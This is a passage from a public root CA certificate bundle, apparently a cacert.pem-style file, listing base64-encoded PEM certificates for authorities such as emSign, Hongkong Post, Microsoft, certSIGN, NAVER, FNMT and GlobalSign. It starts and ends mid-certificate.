58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xySfvalY8L1X44uT6EYGQIr
MgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuBzhccLikenEhjQjAOBgNVHQ8BAf8EBAMC
AQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+D
CBeQyh+KTOgNG3qxrdWBCUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7
jHvrZQnD+JbNR6iC8hZVdyR+EhCVBCyj
-----END CERTIFICATE-----

emSign Root CA - C1
===================
-----BEGIN CERTIFICATE-----
MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkGA1UEBhMCVVMx
EzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNp
Z24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQD
ExNlbVNpZ24gUm9vdCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+up
ufGZBczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZHdPIWoU/
Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH3DspVpNqs8FqOp099cGX
OFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvHGPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4V
I5b2P/AgNBbeCsbEBEV5f6f9vtKppa+cxSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleooms
lMuoaJuvimUnzYnu3Yy1aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+
XJGFehiqTbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQAD
ggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87/kOXSTKZEhVb3xEp
/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4kqNPEjE2NuLe/gDEo2APJ62gsIq1
NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrGYQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9
wC68AivTxEDkigcxHpvOJpkT+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQ
BmIMMMAVSKeoWXzhriKi4gp6D/piq1JM4fHfyr6DDUI=
-----END CERTIFICATE-----

emSign ECC Root CA - C3
=======================
-----BEGIN CERTIFICATE-----
MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQGEwJVUzETMBEG
A1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMxIDAeBgNVBAMTF2VtU2lnbiBF
Q0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UE
BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQD
ExdlbVNpZ24gRUNDIFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd
6bciMK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4OjavtisIGJAnB9
SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0OBBYEFPtaSNCAIEDyqOkA
B2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gA
MGUCMQC02C8Cif22TGK6Q04ThHK1rt0c3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwU
ZOR8loMRnLDRWmFLpg9J0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ==
-----END CERTIFICATE-----

Hongkong Post Root CA 3
=======================
-----BEGIN CERTIFICATE-----
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
dBb9HxEGmpv0
-----END CERTIFICATE-----

Microsoft ECC Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV
UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQgRUND
IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4
MjMxNjA0WjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw
NAYDVQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQ
BgcqhkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZRogPZnZH6
thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYbhGBKia/teQ87zvH2RPUB
eMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTIy5lycFIM
+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlf
Xu5gKcs68tvWMoQZP3zVL8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaR
eNtUjGUBiudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M=
-----END CERTIFICATE-----

Microsoft RSA Root Certificate Authority 2017
=============================================
-----BEGIN CERTIFICATE-----
MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBlMQswCQYDVQQG
EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQg
UlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIw
NzE4MjMwMDIzWjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9u
MTYwNAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcw
ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZNt9GkMml
7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0ZdDMbRnMlfl7rEqUrQ7e
S0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw7
1VdyvD/IybLeS2v4I2wDwAW9lcfNcztmgGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+
dkC0zVJhUXAoP8XFWvLJjEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49F
yGcohJUcaDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaGYaRS
MLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6W6IYZVcSn2i51BVr
lMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4KUGsTuqwPN1q3ErWQgR5WrlcihtnJ
0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJ
ClTUFLkqqNfs+avNJVgyeY+QW5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYw
DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC
NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZCLgLNFgVZJ8og
6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OCgMNPOsduET/m4xaRhPtthH80
dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk
+ONVFT24bcMKpBLBaYVu32TxU5nhSnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex
/2kskZGT4d9Mozd2TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDy
AmH3pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGRxpl/j8nW
ZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiAppGWSZI1b7rCoucL5mxAyE
7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKT
c0QWbej09+CVgI+WXTik9KveCjCHk9hNAHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D
5KbvtwEwXlGjefVwaaZBRA+GsCyRxj3qrg+E
-----END CERTIFICATE-----

e-Szigno Root CA 2017
=====================
-----BEGIN CERTIFICATE-----
MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNVBAYTAkhVMREw
DwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUt
MjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJvb3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZa
Fw00MjA4MjIxMjA3MDZaMHExCzAJBgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UE
CgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3pp
Z25vIFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtvxie+RJCx
s1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+HWyx7xf58etqjYzBhMA8G
A1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSHERUI0arBeAyxr87GyZDv
vzAEwDAfBgNVHSMEGDAWgBSHERUI0arBeAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEA
tVfd14pVCzbhhkT61NlojbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxO
svxyqltZ+efcMQ==
-----END CERTIFICATE-----

certSIGN Root CA G2
===================
-----BEGIN CERTIFICATE-----
MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlJPMRQw
EgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjAeFw0xNzAy
MDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJBgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lH
TiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIP
ADCCAgoCggIBAMDFdRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05
N0IwvlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZuIt4Imfk
abBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhpn+Sc8CnTXPnGFiWeI8Mg
wT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKscpc/I1mbySKEwQdPzH/iV8oScLumZfNp
dWO9lfsbl83kqK/20U6o2YpxJM02PbyWxPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91Qqh
ngLjYl/rNUssuHLoPj1PrCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732
jcZZroiFDsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fxDTvf
95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgyLcsUDFDYg2WD7rlc
z8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6CeWRgKRM+o/1Pcmqr4tTluCRVLERL
iohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1Ud
DgQWBBSCIS1mxteg4BXrzkwJd8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOB
ywaK8SJJ6ejqkX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC
b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQlqiCA2ClV9+BB
/AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0OJD7uNGzcgbJceaBxXntC6Z5
8hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+cNywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5
BiKDUyUM/FHE5r7iOZULJK2v0ZXkltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklW
atKcsWMy5WHgUyIOpwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tU
Sxfj03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZkPuXaTH4M
NMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE1LlSVHJ7liXMvGnjSG4N
0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MXQRBdJ3NghVdJIgc=
-----END CERTIFICATE-----

NAVER Global Root Certification Authority
=========================================
-----BEGIN CERTIFICATE-----
MIIFojCCA4qgAwIBAgIUAZQwHqIL3fXFMyqxQ0Rx+NZQTQ0wDQYJKoZIhvcNAQEMBQAwaTELMAkG
A1UEBhMCS1IxJjAkBgNVBAoMHU5BVkVSIEJVU0lORVNTIFBMQVRGT1JNIENvcnAuMTIwMAYDVQQD
DClOQVZFUiBHbG9iYWwgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNzA4MTgwODU4
NDJaFw0zNzA4MTgyMzU5NTlaMGkxCzAJBgNVBAYTAktSMSYwJAYDVQQKDB1OQVZFUiBCVVNJTkVT
UyBQTEFURk9STSBDb3JwLjEyMDAGA1UEAwwpTkFWRVIgR2xvYmFsIFJvb3QgQ2VydGlmaWNhdGlv
biBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC21PGTXLVAiQqrDZBb
UGOukJR0F0Vy1ntlWilLp1agS7gvQnXp2XskWjFlqxcX0TM62RHcQDaH38dq6SZeWYp34+hInDEW
+j6RscrJo+KfziFTowI2MMtSAuXaMl3Dxeb57hHHi8lEHoSTGEq0n+USZGnQJoViAbbJAh2+g1G7
XNr4rRVqmfeSVPc0W+m/6imBEtRTkZazkVrd/pBzKPswRrXKCAfHcXLJZtM0l/aM9BhK4dA9WkW2
aacp+yPOiNgSnABIqKYPszuSjXEOdMWLyEz59JuOuDxp7W87UC9Y7cSw0BwbagzivESq2M0UXZR4
Yb8ObtoqvC8MC3GmsxY/nOb5zJ9TNeIDoKAYv7vxvvTWjIcNQvcGufFt7QSUqP620wbGQGHfnZ3z
VHbOUzoBppJB7ASjjw2i1QnK1sua8e9DXcCrpUHPXFNwcMmIpi3Ua2FzUCaGYQ5fG8Ir4ozVu53B
A0K6lNpfqbDKzE0K70dpAy8i+/Eozr9dUGWokG2zdLAIx6yo0es+nPxdGoMuK8u180SdOqcXYZai
cdNwlhVNt0xz7hlcxVs+Qf6sdWA7G2POAN3aCJBitOUt7kinaxeZVL6HSuOpXgRM6xBtVNbv8ejy
YhbLgGvtPe31HzClrkvJE+2KAQHJuFFYwGY6sWZLxNUxAmLpdIQM201GLQIDAQABo0IwQDAdBgNV
HQ4EFgQU0p+I36HNLL3s9TsBAZMzJ7LrYEswDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMB
Af8wDQYJKoZIhvcNAQEMBQADggIBADLKgLOdPVQG3dLSLvCkASELZ0jKbY7gyKoNqo0hV4/GPnrK
21HUUrPUloSlWGB/5QuOH/XcChWB5Tu2tyIvCZwTFrFsDDUIbatjcu3cvuzHV+YwIHHW1xDBE1UB
jCpD5EHxzzp6U5LOogMFDTjfArsQLtk70pt6wKGm+LUx5vR1yblTmXVHIloUFcd4G7ad6Qz4G3bx
hYTeodoS76TiEJd6eN4MUZeoIUCLhr0N8F5OSza7OyAfikJW4Qsav3vQIkMsRIz75Sq0bBwcupTg
E34h5prCy8VCZLQelHsIJchxzIdFV4XTnyliIoNRlwAYl3dqmJLJfGBs32x9SuRwTMKeuB330DTH
D8z7p/8Dvq1wkNoL3chtl1+afwkyQf3NosxabUzyqkn+Zvjp2DXrDige7kgvOtB5CTh8piKCk5XQ
A76+AqAF3SAi428diDRgxuYKuQl1C/AH6GmWNcf7I4GOODm4RStDeKLRLBT/DShycpWbXgnbiUSY
qqFJu3FS8r/2/yehNq+4tneI3TqkbZs0kNwUXTC/t+sX5Ie3cdCh13cV1ELX8vMxmV2b3RZtP+oG
I/hGoiLtk/bdmuYqh7GYVPEi92tF4+KOdh2ajcQGjTa3FPOdVGm3jjzVpG2Tgbet9r1ke8LJaDmg
kpzNNIaRkPpkUZ3+/uul9XXeifdy
-----END CERTIFICATE-----

AC RAIZ FNMT-RCM SERVIDORES SEGUROS
===================================
-----BEGIN CERTIFICATE-----
MIICbjCCAfOgAwIBAgIQYvYybOXE42hcG2LdnC6dlTAKBggqhkjOPQQDAzB4MQswCQYDVQQGEwJF
UzERMA8GA1UECgwIRk5NVC1SQ00xDjAMBgNVBAsMBUNlcmVzMRgwFgYDVQRhDA9WQVRFUy1RMjgy
NjAwNEoxLDAqBgNVBAMMI0FDIFJBSVogRk5NVC1SQ00gU0VSVklET1JFUyBTRUdVUk9TMB4XDTE4
MTIyMDA5MzczM1oXDTQzMTIyMDA5MzczM1oweDELMAkGA1UEBhMCRVMxETAPBgNVBAoMCEZOTVQt
UkNNMQ4wDAYDVQQLDAVDZXJlczEYMBYGA1UEYQwPVkFURVMtUTI4MjYwMDRKMSwwKgYDVQQDDCNB
QyBSQUlaIEZOTVQtUkNNIFNFUlZJRE9SRVMgU0VHVVJPUzB2MBAGByqGSM49AgEGBSuBBAAiA2IA
BPa6V1PIyqvfNkpSIeSX0oNnnvBlUdBeh8dHsVnyV0ebAAKTRBdp20LHsbI6GA60XYyzZl2hNPk2
LEnb80b8s0RpRBNm/dfF/a82Tc4DTQdxz69qBdKiQ1oKUm8BA06Oi6NCMEAwDwYDVR0TAQH/BAUw
AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFAG5L++/EYZg8k/QQW6rcx/n0m5JMAoGCCqG
SM49BAMDA2kAMGYCMQCuSuMrQMN0EfKVrRYj3k4MGuZdpSRea0R7/DjiT8ucRRcRTBQnJlU5dUoD
zBOQn5ICMQD6SmxgiHPz7riYYqnOK8LZiqZwMR2vsJRM60/G49HzYqc8/5MuB1xJAWdpEgJyv+c=
-----END CERTIFICATE-----

GlobalSign Root R46
===================
-----BEGIN CERTIFICATE-----
MIIFWjCCA0KgAwIBAgISEdK7udcjGJ5AXwqdLdDfJWfRMA0GCSqGSIb3DQEBDAUAMEYxCzAJBgNV
BAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJv
b3QgUjQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAX
BgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBSNDYwggIi
MA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCsrHQy6LNl5brtQyYdpokNRbopiLKkHWPd08Es
CVeJOaFV6Wc0dwxu5FUdUiXSE2te4R2pt32JMl8Nnp8semNgQB+msLZ4j5lUlghYruQGvGIFAha/
r6gjA7aUD7xubMLL1aa7DOn2wQL7Id5m3RerdELv8HQvJfTqa1VbkNud316HCkD7rRlr+/fKYIje
2sGP1q7Vf9Q8g+7XFkyDRTNrJ9CG0Bwta/OrffGFqfUo0q3v84RLHIf8E6M6cqJaESvWJ3En7YEt
bWaBkoe0G1h6zD8K+kZPTXhc+CtI4wSEy132tGqzZfxCnlEmIyDLPRT5ge1lFgBPGmSXZgjPjHvj
K8Cd+RTyG/FWaha/LIWFzXg4mutCagI0GIMXTpRW+LaCtfOW3T3zvn8gdz57GSNrLNRyc0NXfeD4
12lPFzYE+cCQYDdF3uYM2HSNrpyibXRdQr4G9dlkbgIQrImwTDsHTUB+JMWKmIJ5jqSngiCNI/on
ccnfxkF0oE32kRbcRoxfKWMxWXEM2G/CtjJ9++ZdU6Z+Ffy7dXxd7Pj2Fxzsx2sZy/N78CsHpdls
eVR2bJ0cpm4O6XkMqCNqo98bMDGfsVR7/mrLZqrcZdCinkqaByFrgY/bxFn63iLABJzjqls2k+g9
vXqhnQt2sQvHnf3PmKgGwvgqo6GDoLclcqUC4wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA1yrc4GHqMywptWU4jaWSf8FmSwwDQYJKoZIhvcNAQEM
BQADggIBAHx47PYCLLtbfpIrXTncvtgdokIzTfnvpCo7RGkerNlFo048p9gkUbJUHJNOxO97k4Vg
JuoJSOD1u8fpaNK7ajFxzHmuEajwmf3lH7wvqMxX63bEIaZHU1VNaL8FpO7XJqti2kM3S+LGteWy
gxk6x9PbTZ4IevPuzz5i+6zoYMzRx6Fcg0XERczzF2sUyQQCPtIkpnnpHs6i58FZFZ8d4kuaPp92
CC1r2LpXFNqD6v6MVenQTqnMdzGxRBF6XLE+0xRFFRhiJBPSy03OXIPBNvIQtQ6IbbjhVp+J3pZm
OUdkLG5NrmJ7v2B0GbhWrJKsFjLtrWhV/pi60zTe9Mlhww6G9kuEYO4Ne7UyWHmRVSyBQ7N0H3qq
JZ4d16GLuc1CLgSkZoNNiTW2bKg2SnkheCLQQrzRQDGQob4Ez8pn7fXwgNNgyYMqIgXQBztSvwye
qiv5u+YfjyW6hY0XHgL+XVAEV8/+LbzvXMAaq7afJMbfc2hIkCwU9D9SGuTSyxTDYWnP4vkYxboz
nxSjBF25cfe1lNj2M8FawTSLfJvdkzrnE6JwYZ+vj+vYxXX4M2bUdGc6N3ec592kD3ZDZopD8p/7
DEJ4Y9HiD2971KE9dJeFt0g5QdYg/NA6s/rob8SKunE3vouXsXgxT7PntgMTzlSdriVZzH81Xwj3
QEUxeCp6
-----END CERTIFICATE-----

GlobalSign Root E46
===================
-----BEGIN CERTIFICATE-----
MIICCzCCAZGgAwIBAgISEdK7ujNu1LzmJGjFDYQdmOhDMAoGCCqGSM49BAMDMEYxCzAJBgNVBAYT
AkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMRwwGgYDVQQDExNHbG9iYWxTaWduIFJvb3Qg
RTQ2MB4XDTE5MDMyMDAwMDAwMFoXDTQ2MDMyMDAwMDAwMFowRjELMAkGA1UEBhMCQkUxGTAXBgNV
BAoTEEdsb2JhbFNpZ24gbnYtc2ExHDAaBgNVBAMTE0dsb2JhbFNpZ24gUm9vdCBFNDYwdjAQBgcq
hkjOPQIBBgUrgQQAIgNiAAScDrHPt+ieUnd1NPqlRqetMhkytAepJ8qUuwzSChDH2omwlwxwEwkB
jtjqR+q+soArzfwoDdusvKSGN+1wCAB16pMLey5SnCNoIwZD7JIvU4Tb+0cUB+hflGddyXqBPCCj
QjBAMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQxCpCPtsad0kRL
gLWi5h+xEk8blTAKBggqhkjOPQQDAwNoADBlAjEA31SQ7Zvvi5QCkxeCmb6zniz2C5GMn0oUsfZk
